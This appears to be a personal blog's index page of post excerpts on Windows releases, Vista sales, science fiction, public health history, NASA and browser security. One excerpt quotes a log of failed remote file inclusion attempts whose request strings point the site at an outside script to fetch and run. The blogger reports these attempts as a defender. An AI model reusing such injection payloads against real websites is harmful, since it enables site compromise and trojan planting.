Strangely Perfect

Windows 8 Developer Preview I’ve finally decided to test the next Windows edition, probably to be called Windows 8, although things like that are never certain in Microsoft-land. Virtual Box I did a Virtual Box install, which is fairly straightforward.  There are many tutorials on-line now which show how to do this, so I won’t [...]

It’s Just Like Bladerunner, And Not Just the Weather! Tears in Rain Bladerunner, the movie, based on an old Philip K Dick science-fiction story, was made by Ridley Scott from North-East England, someone I’m distantly related to.  Made in 1982, it presents a very grey, wet, bleak future, heavily referencing Scott’s (and my own!) upbringing [...]

Windows 7 Ultimate Install To say that I’m seriously impressed is an understatement! Having an MSDN subscription confers certain benefits, but for most Microsoft stuff that I have to use, it’s usually an exercise in teeth-gritting somewhere from the banal to the infuriating as I plod on through. My personal experience of Vista comes into [...]

Multiple Attempts to Drop Trojan on This Website Failed These are the Wassup details of the attack 69.65.41.165 2009-06-13 10:48:00 //?_SERVER[DOCUMENT_ROOT]=http://ww(…)omponents/com_frontpage/test.txt?? Referrer: Direct hit Hostname: 69.65.41.165 User Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) OS: WinVista BROWSER: IE 7 10:33:14 ->//?_SERVER[DOCUMENT_ROOT]=http://www.fox(…)com/components/com_frontpage/test.txt?? 10:34:03 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? 10:34:30 ->/3099/google-treasure-chest-its-a-scam-a(…)com/components/com_frontpage/test.txt?? 10:37:43 ->/3099////?_SERVER[DOCUMENT_ROOT]=http://(…)com/components/com_frontpage/test.txt?? 10:37:46 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? 10:47:59 ->/3099////?_SERVER[DOCUMENT_ROOT]=http://(…)com/components/com_frontpage/test.txt?? 10:48:00 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? As [...]

Wassup I use a myriad of plugins on my website (and have tested zillions more). A plugin, for those that don’t know, is an add-on to the basic WordPress install that I use to run this blog.  You can get plugins for all sorts of blogging, forum and CMS systems… Anyway, for a week, I’m [...]

Highlighting the Differences in Public Health provision, the Attitudes to Death and Responsibilities of the State and the Individual to Public Welfare. The title is the biggest bit – trust me. Introduction This takes us from today’s news from America and the Duffy’s Cut project to a tiny hamlet in Northumberland, England, called Throckrington. Duffy’s [...]

Books by Clark Ashton Smith It’s important to realise the impact that this funny, eclectic, multi-talented, poor, skinny man has had on the world.  The whole genre of science fiction and fantasy and whole industries that hang off the backs of people like Tolkien, are also standing on the shoulders of people like H.P. Lovecraft. [...]

Two rockets have been sent up recently by NASA. The first, a mission to monitor and greater understand how CO2 affects climate, failed. The second, a mission to search for new Earth-like worlds got up okay, will soon start searching. I’m all for expanding human knowledge and can understand the reasons for the missions.  In [...]

Below is the plain text of an email spam I got today.  I always view as plain text and all my messages are spam checked, in various ways.  Some POP3 stuff comes in via Mailwasher Pro, which I’ve mentioned before; other stuff I forward through gmail and use the spam filters in there, which are [...]

In a follow-up to my earlier post, this problem is now going mainstream news.  See; Internet Explorer security alert Another wave of attacks target Internet Explorer Apparently, 10,000 websites have now been hacked and are ready and waiting (like conger eels in a hole or praying mantises on a twig), to nick all the personal [...]

Another day, another Microsoft security alert.. This morning, another raft of advisories arrived in my mail from Secunia, this is one; Internet Explorer Data Binding Memory Corruption Vulnerability This rivetting title is like deja-vu.  Time and again we’ve seen this.  This is the fault of a company, Microsoft, that puts form before function, functionality before [...]

The Triumph of Wishful Thinking over Common Sense The recent previews of the Microsoft Vista replacement with it’s unreliable “hands on” dragging experience (http://news.bbc.co.uk/1/hi/technology/7695933.stm) are another reminder that desires aren’t always satisfied and that designers don’t always design what people actually want for their daily work. PCPro Magazine have duplicated the recently banned Apple iPhone [...]

Following on from my post http://strangelyperfect.tv/442/why-buy-vista/, I’ve noticed that Hewlett Packard have now put some of their stats into the public domain which refute the Microsoft notion that Vista sales are whizz-bang and superb. This posting, http://www.pcpro.co.uk/news/215502/hp-windows-xp-accounts-for-majority-of-vista-sales.html, reports the fact that Microsoft is double-counting sales of Vista and XP because customers are getting new machines [...]

Why buy Vista?  Now there’s a question. Microsoft continue to say that Vista sales are much higher than XP ever was.  But this is being disingenuous with the figures.  The fact is that most of the “sales” are as pre-installs on OEM machines.  Fair play to Microsoft, they have driven the business for years and [...]